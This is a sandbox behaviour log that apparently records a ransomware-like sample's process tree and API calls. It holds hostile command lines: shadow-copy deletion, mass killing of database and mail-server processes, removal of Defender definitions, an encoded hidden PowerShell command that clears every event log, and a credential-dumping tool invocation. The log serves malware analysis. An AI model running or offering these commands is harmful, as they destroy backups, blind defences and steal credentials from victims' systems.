[0110.992] free (_Block=0x2382180) [0111.001] _kbhit () returned 0x0 [0111.048] free (_Block=0x31ffd8) [0111.048] free (_Block=0x2382060) [0111.048] free (_Block=0x31fe88) [0111.048] free (_Block=0x31fe70) [0111.048] free (_Block=0x31fe58) [0111.048] free (_Block=0x31feb0) [0111.048] free (_Block=0x31eb88) [0111.048] free (_Block=0x31ffa0) [0111.048] free (_Block=0x23820d8) [0111.048] free (_Block=0x31ff20) [0111.048] free (_Block=0x23820f0) [0111.048] free (_Block=0x31ebc8) [0111.048] free (_Block=0x31ff90) [0111.048] free (_Block=0x312ed8) [0111.048] free (_Block=0x31ff68) [0111.048] ?Empty@CHString@@QAEXXZ () returned 0x744c0504 [0111.048] free (_Block=0x31fee0) [0111.048] free (_Block=0x31eba8) [0111.048] free (_Block=0x2382090) [0111.049] free (_Block=0x313f98) [0111.049] free (_Block=0x3127b0) [0111.049] free (_Block=0x3127f8) [0111.049] free (_Block=0x31ebe8) [0111.049] free (_Block=0x3128d0) [0111.049] free (_Block=0x312ec0) [0111.049] free (_Block=0x31e8c8) [0111.049] free (_Block=0x312ea8) [0111.049] free (_Block=0x31e8a8) [0111.049] free (_Block=0x312e90) [0111.049] free (_Block=0x31e888) [0111.049] free (_Block=0x312a08) [0111.049] free (_Block=0x312a20) [0111.049] free (_Block=0x3129d0) [0111.049] free (_Block=0x3129e8) [0111.049] free (_Block=0x312a40) [0111.049] free (_Block=0x312a58) [0111.049] free (_Block=0x312a78) [0111.049] free (_Block=0x31e868) [0111.049] free (_Block=0x312960) [0111.049] free (_Block=0x312978) [0111.049] free (_Block=0x312928) [0111.049] free (_Block=0x312940) [0111.050] free (_Block=0x312998) [0111.050] free (_Block=0x3129b0) [0111.050] free (_Block=0x3128f0) [0111.050] free (_Block=0x312908) [0111.050] free (_Block=0x312888) [0111.050] free (_Block=0x312840) [0111.050] free (_Block=0x23805b0) [0111.050] WbemLocator:IUnknown:Release (This=0x1e20828) returned 0x2 [0111.050] WbemLocator:IUnknown:Release (This=0x1e2d064) returned 0x0 [0111.051] WbemLocator:IUnknown:Release (This=0x1e2d00c) returned 0x0 [0111.197] WbemLocator:IUnknown:Release (This=0x1e20828) returned 0x1 [0111.197] ?Empty@CHString@@QAEXXZ () returned 0x744c0504 [0111.197] WbemLocator:IUnknown:Release (This=0x1e20828) returned 0x0 [0111.197] free (_Block=0x31fdf8) [0111.197] free (_Block=0x31fe10) [0111.197] free (_Block=0x31eb48) [0111.197] free (_Block=0x31fe28) [0111.197] free (_Block=0x31fe40) [0111.197] free (_Block=0x31eb68) [0111.197] free (_Block=0x31fcd8) [0111.198] free (_Block=0x31fcf0) [0111.198] free (_Block=0x31ea88) [0111.198] free (_Block=0x31fd08) [0111.198] free (_Block=0x31fd20) [0111.198] free (_Block=0x31eaa8) [0111.198] free (_Block=0x31fc78) [0111.198] free (_Block=0x31fc90) [0111.198] free (_Block=0x31ea48) [0111.198] free (_Block=0x31fca8) [0111.198] free (_Block=0x31fcc0) [0111.198] free (_Block=0x31ea68) [0111.198] free (_Block=0x31fd98) [0111.198] free (_Block=0x31fdb0) [0111.198] free (_Block=0x31eb08) [0111.198] free (_Block=0x31fdc8) [0111.199] free (_Block=0x31fde0) [0111.199] free (_Block=0x31eb28) [0111.199] free (_Block=0x31fc18) [0111.199] free (_Block=0x31fc30) [0111.199] free (_Block=0x31ea08) [0111.199] free (_Block=0x31fc48) [0111.199] free (_Block=0x31fc60) [0111.199] free (_Block=0x31ea28) [0111.199] free (_Block=0x31fd38) [0111.199] free (_Block=0x31fd50) [0111.199] free (_Block=0x31eac8) [0111.199] free (_Block=0x31fd68) [0111.199] free (_Block=0x31fd80) [0111.199] free (_Block=0x31eae8) [0111.199] free (_Block=0x31fb88) [0111.199] free (_Block=0x31fba0) [0111.199] free (_Block=0x31e9a8) [0111.199] free (_Block=0x313158) [0111.200] free (_Block=0x313170) [0111.200] free (_Block=0x31e908) [0111.200] free (_Block=0x312f20) [0111.200] free (_Block=0x312f38) [0111.200] free (_Block=0x31e8e8) [0111.200] free (_Block=0x31faf8) [0111.200] free (_Block=0x31fb10) [0111.200] free (_Block=0x31e948) [0111.200] free (_Block=0x31fbb8) [0111.200] free (_Block=0x31fbd0) [0111.200] free (_Block=0x31e9c8) [0111.200] free (_Block=0x31fac8) [0111.200] free (_Block=0x31fae0) [0111.200] free (_Block=0x31e928) [0111.200] free (_Block=0x31fb28) [0111.200] free (_Block=0x31fb40) [0111.200] free (_Block=0x31e968) [0111.200] free (_Block=0x31fb58) [0111.201] free (_Block=0x31fb70) [0111.201] free (_Block=0x31e988) [0111.201] free (_Block=0x31fbe8) [0111.201] free (_Block=0x31fc00) [0111.201] free (_Block=0x31e9e8) [0111.201] CoUninitialize () [0111.228] exit (_Code=-2147217388) [0111.228] free (_Block=0x313188) [0111.228] free (_Block=0x313e68) [0111.228] ??1CHString@@QAE@XZ () returned 0x744c0504 [0111.228] free (_Block=0x312ff8) [0111.228] free (_Block=0x3113d8) [0111.228] free (_Block=0x313e48) [0111.228] free (_Block=0x313e28) [0111.228] free (_Block=0x313df8) [0111.228] free (_Block=0x313dd8) [0111.228] free (_Block=0x313da8) [0111.228] free (_Block=0x313d68) [0111.228] free (_Block=0x3113b8) [0111.228] ??1CHString@@QAE@XZ () returned 0x744c0504 [0111.228] free (_Block=0x31ff10) Thread: id = 96 os_tid = 0xa90 Thread: id = 144 os_tid = 0x490 Thread: id = 145 os_tid = 0x72c Thread: id = 146 os_tid = 0x748 Thread: id = 147 os_tid = 0x828 Process: id = "7" image_name = "vssadmin.exe" filename = "c:\\windows\\syswow64\\vssadmin.exe" page_root = "0xe977000" os_pid = "0x5d4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x9e0" cmd_line = "\"C:\\Windows\\System32\\vssadmin.exe\" delete shadows /all /quiet" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 78 os_tid = 0x7ec Thread: id = 92 os_tid = 0xa64 Thread: id = 93 os_tid = 0x540 Thread: id = 94 os_tid = 0x1c4 Thread: id = 95 os_tid = 0xaa0 Process: id = "8" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x24670000" os_pid = "0x20c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x9e0" cmd_line = "\"C:\\Windows\\System32\\taskkill.exe\" /F /IM MSExchange*" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 84 os_tid = 0x79c Thread: id = 100 os_tid = 0x310 Thread: id = 114 os_tid = 0xb30 Thread: id = 117 os_tid = 0x34c Thread: id = 118 os_tid = 0xa1c Process: id = "9" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x1b975000" os_pid = "0x488" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x9e0" cmd_line = "\"C:\\Windows\\System32\\taskkill.exe\" /F /IM Microsoft*" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 85 os_tid = 0x568 Thread: id = 99 os_tid = 0xab8 Thread: id = 115 os_tid = 0xa8c Thread: id = 122 os_tid = 0xa6c Thread: id = 123 os_tid = 0x9f4 Process: id = "10" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x22d7a000" os_pid = "0x124" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x9e0" cmd_line = "\"C:\\Windows\\System32\\taskkill.exe\" /F /IM vmware*" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 86 os_tid = 0x790 Thread: id = 101 os_tid = 0xaa8 Thread: id = 119 os_tid = 0xa7c Thread: id = 132 os_tid = 0xb7c Thread: id = 133 os_tid = 0xb74 Process: id = "11" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x24a7f000" os_pid = "0x6c0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x9e0" cmd_line = "\"C:\\Windows\\System32\\taskkill.exe\" /F /IM Tomcat*" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 87 os_tid = 0x808 Thread: id = 103 os_tid = 0x270 Thread: id = 116 os_tid = 0x324 Thread: id = 125 os_tid = 0x3a4 Thread: id = 126 os_tid = 0xb20 Process: id = "12" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x24186000" os_pid = "0x878" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x9e0" cmd_line = "\"C:\\Windows\\System32\\taskkill.exe\" /F /IM ora*" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 88 os_tid = 0x888 Thread: id = 97 os_tid = 0xb10 Thread: id = 113 os_tid = 0xac0 Thread: id = 127 os_tid = 0x7b4 Thread: id = 128 os_tid = 0xb28 Process: id = "13" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x2368b000" os_pid = "0x8d8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x9e0" cmd_line = "\"C:\\Windows\\System32\\taskkill.exe\" /F /IM tns*" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 89 os_tid = 0x8e8 Thread: id = 104 os_tid = 0x314 Thread: id = 124 os_tid = 0xb80 Thread: id = 138 os_tid = 0xacc Thread: id = 139 os_tid = 0x5cc Process: id = "14" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x24990000" os_pid = "0x948" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x9e0" cmd_line = "\"C:\\Windows\\System32\\taskkill.exe\" /F /IM mysql*" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 90 os_tid = 0x958 Thread: id = 98 os_tid = 0xb38 Thread: id = 121 os_tid = 0xa78 Thread: id = 136 os_tid = 0xb0c Thread: id = 137 os_tid = 0xaf8 Process: id = "15" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x1b795000" os_pid = "0x988" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x9e0" cmd_line = "\"C:\\Windows\\System32\\taskkill.exe\" /F /IM sql*" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 91 os_tid = 0x998 Thread: id = 102 os_tid = 0x344 Thread: id = 120 os_tid = 0x6fc Thread: id = 140 os_tid = 0x7bc Thread: id = 141 os_tid = 0xa88 Process: id = "16" image_name = "vssvc.exe" filename = "c:\\windows\\system32\\vssvc.exe" page_root = "0x1b618000" os_pid = "0x5f4" os_integrity_level = "0x4000" os_privileges = "0xe60b7e890" monitor_reason = "rpc_server" parent_id = "7" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\vssvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:0005ce35" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 105 os_tid = 0xad0 Thread: id = 106 os_tid = 0x6c8 Thread: id = 107 os_tid = 0xa98 Thread: id = 108 os_tid = 0xa9c Thread: id = 109 os_tid = 0xae0 Thread: id = 110 os_tid = 0xab4 Thread: id = 111 os_tid = 0x5e4 Thread: id = 112 os_tid = 0xae4 Thread: id = 196 os_tid = 0x544 Process: id = "17" image_name = "wmiprvse.exe" filename = "c:\\windows\\syswow64\\wbem\\wmiprvse.exe" page_root = "0x48786000" os_pid = "0x34c" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "2" os_parent_pid = "0x250" cmd_line = "C:\\Windows\\sysWOW64\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:0006140c" [0xc000000f] Thread: id = 148 os_tid = 0xa1c Thread: id = 149 os_tid = 0x348 Thread: id = 150 os_tid = 0x310 Thread: id = 151 os_tid = 0xb30 Thread: id = 152 os_tid = 0x79c Thread: id = 153 os_tid = 0x7a8 Thread: id = 154 os_tid = 0x8c8 Thread: id = 164 os_tid = 0x6dc Process: id = "18" image_name = "takeown.exe" filename = "c:\\windows\\syswow64\\takeown.exe" page_root = "0x3a3ac000" os_pid = "0x284" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x9e0" cmd_line = "\"C:\\Windows\\System32\\takeown.exe\" /F C:\\Windows\\Web\\Wallpaper\\Windows\\img0.jpg" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 167 os_tid = 0xb34 Thread: id = 175 os_tid = 0x5c4 Process: id = "19" image_name = "icacls.exe" filename = "c:\\windows\\syswow64\\icacls.exe" page_root = "0x3a9c4000" os_pid = "0x490" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x9e0" cmd_line = "\"C:\\Windows\\System32\\icacls.exe\" C:\\Windows\\Web\\Wallpaper\\Windows\\img0.jpg /grant Users:F" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 173 os_tid = 0x174 Thread: id = 174 os_tid = 0xb18 Process: id = "20" image_name = "powershell.exe" filename = "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe" page_root = "0x2d61e000" os_pid = "0xa6c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x9e0" cmd_line = "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -Enc dwBlAHYAdAB1AHQAaQBsACAAZQBsACAAfAAgAEYAbwByAGUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAdwBlAHYAdAB1AHQAaQBsACAAYwBsACAAIgAkAF8AIgB9AA== -ExecutionPolicy Bypass -W Hidden -NonI" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 177 os_tid = 0xab8 [0192.438] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 178 os_tid = 0x71c Thread: id = 179 os_tid = 0xa08 Thread: id = 181 os_tid = 0x320 Thread: id = 183 os_tid = 0xae8 Thread: id = 184 os_tid = 0xa20 [0192.748] CoGetContextToken (in: pToken=0x2aef858 | out: pToken=0x2aef858) returned 0x0 [0192.748] CObjectContext::QueryInterface () returned 0x0 [0192.748] CObjectContext::GetCurrentThreadType () returned 0x0 [0192.748] Release () returned 0x0 [0192.748] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Process: id = "21" image_name = "mpcmdrun.exe" filename = "c:\\program files\\windows defender\\mpcmdrun.exe" page_root = "0x2e569000" os_pid = "0x888" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x9e0" cmd_line = "\"C:\\Program Files\\Windows Defender\\mpcmdrun.exe\" -removedefinitions -all" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 180 os_tid = 0x568 Thread: id = 182 os_tid = 0x8f8 Process: id = "22" image_name = "x64.exe" filename = "c:\\programdata\\x64.exe" page_root = "0x2d011000" os_pid = "0xb00" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x9e0" cmd_line = "C:\\ProgramData\\x64.exe go::inc get::pwz token::getsys read::samz exit" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 185 os_tid = 0x614 [0191.912] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x77940000 [0191.914] GetProcAddress (hModule=0x77940000, lpProcName="IsValidCodePage") returned 0x77959080 [0191.914] GetProcAddress (hModule=0x77940000, lpProcName="FindFirstFileExW") returned 0x7795c4e0 [0191.914] GetProcAddress (hModule=0x77940000, lpProcName="GetOEMCP") returned 0x7795b580 [0191.915] GetProcAddress (hModule=0x77940000, lpProcName="GetStringTypeW") returned 0x77959060 [0191.915] GetProcAddress (hModule=0x77940000, lpProcName="SetStdHandle") returned 0x7798bce0 [0191.915] GetProcAddress (hModule=0x77940000, lpProcName="GetConsoleMode") returned 0x77962e60 [0191.915] GetProcAddress (hModule=0x77940000, lpProcName="GetConsoleCP") returned 0x779805f0 [0191.915] GetProcAddress (hModule=0x77940000, lpProcName="LCMapStringW") returned 0x77960dd0 [0191.915] GetProcAddress (hModule=0x77940000, lpProcName="CompareStringW") returned 0x77955a10 [0191.915] GetProcAddress (hModule=0x77940000, lpProcName="GetFileType") returned 0x77962e00 [0191.915] GetProcAddress (hModule=0x77940000, lpProcName="GetACP") returned 0x77956f90 [0191.915] GetProcAddress (hModule=0x77940000, lpProcName="GetModuleHandleExW") returned 0x7794b780 [0191.915] GetProcAddress (hModule=0x77940000, lpProcName="TerminateProcess") returned 0x7798bca0 [0191.915] GetProcAddress (hModule=0x77940000, lpProcName="GetModuleFileNameW") returned 0x77957700 [0191.915] GetProcAddress (hModule=0x77940000, lpProcName="GetCommandLineW") returned 0x7795c480 [0191.915] GetProcAddress (hModule=0x77940000, lpProcName="GetCommandLineA") returned 0x77961e70 [0191.916] GetProcAddress (hModule=0x77940000, lpProcName="LoadLibraryExW") returned 0x77956640 [0191.916] GetProcAddress (hModule=0x77940000, lpProcName="TlsFree") returned 0x77951590 [0191.916] GetProcAddress (hModule=0x77940000, lpProcName="TlsSetValue") returned 0x77955cd0 [0191.916] GetProcAddress (hModule=0x77940000, lpProcName="TlsGetValue") returned 0x77962bd0 [0191.916] GetProcAddress (hModule=0x77940000, lpProcName="TlsAlloc") returned 0x77957100 [0191.916] GetProcAddress (hModule=0x77940000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x779564e0 [0191.916] GetProcAddress (hModule=0x77940000, lpProcName="RtlUnwindEx") returned 0x77972d90 [0191.916] GetProcAddress (hModule=0x77940000, lpProcName="IsProcessorFeaturePresent") returned 0x7798cc80 [0191.916] GetProcAddress (hModule=0x77940000, lpProcName="GetStartupInfoW") returned 0x77958070 [0191.916] GetProcAddress (hModule=0x77940000, lpProcName="SetUnhandledExceptionFilter") returned 0x77959b70 [0191.916] GetProcAddress (hModule=0x77940000, lpProcName="UnhandledExceptionFilter") returned 0x779d9330 [0191.916] GetProcAddress (hModule=0x77940000, lpProcName="IsDebuggerPresent") returned 0x77948290 [0191.917] GetProcAddress (hModule=0x77940000, lpProcName="RtlVirtualUnwind") returned 0x7798b5b0 [0191.917] GetProcAddress (hModule=0x77940000, lpProcName="RtlLookupFunctionEntry") returned 0x7798b610 [0191.917] GetProcAddress (hModule=0x77940000, lpProcName="RtlCaptureContext") returned 0x7798b6f0 [0191.917] GetProcAddress (hModule=0x77940000, lpProcName="InitializeSListHead") returned 0x77a87700 [0191.917] GetProcAddress (hModule=0x77940000, lpProcName="GetCurrentThreadId") returned 0x77953ee0 [0191.917] GetProcAddress (hModule=0x77940000, lpProcName="LoadLibraryExA") returned 0x7794e3b0 [0191.917] GetProcAddress (hModule=0x77940000, lpProcName="GetProcessId") returned 0x779481f0 [0191.917] GetProcAddress (hModule=0x77940000, lpProcName="GetComputerNameW") returned 0x7794d130 [0191.917] GetProcAddress (hModule=0x77940000, lpProcName="ProcessIdToSessionId") returned 0x7794d950 [0191.917] GetProcAddress (hModule=0x77940000, lpProcName="GetCurrentThread") returned 0x77953f20 [0191.917] GetProcAddress (hModule=0x77940000, lpProcName="SetConsoleCursorPosition") returned 0x7794d090 [0191.917] GetProcAddress (hModule=0x77940000, lpProcName="SetCurrentDirectoryW") returned 0x7795cab0 [0191.917] GetProcAddress (hModule=0x77940000, lpProcName="FillConsoleOutputCharacterW") returned 0x77994920 [0191.918] GetProcAddress (hModule=0x77940000, lpProcName="GetTimeZoneInformation") returned 0x779433c0 [0191.918] GetProcAddress (hModule=0x77940000, lpProcName="GetSystemDirectoryW") returned 0x77957120 [0191.918] GetProcAddress (hModule=0x77940000, lpProcName="GetStdHandle") returned 0x7795d750 [0191.918] GetProcAddress (hModule=0x77940000, lpProcName="GetConsoleScreenBufferInfo") returned 0x77953aa0 [0191.918] GetProcAddress (hModule=0x77940000, lpProcName="SetEvent") returned 0x77953f00 [0191.918] GetProcAddress (hModule=0x77940000, lpProcName="CreateEventW") returned 0x77955290 [0191.918] GetProcAddress (hModule=0x77940000, lpProcName="CreatePipe") returned 0x77944a10 [0191.918] GetProcAddress (hModule=0x77940000, lpProcName="SetHandleInformation") returned 0x77945bb0 [0191.918] GetProcAddress 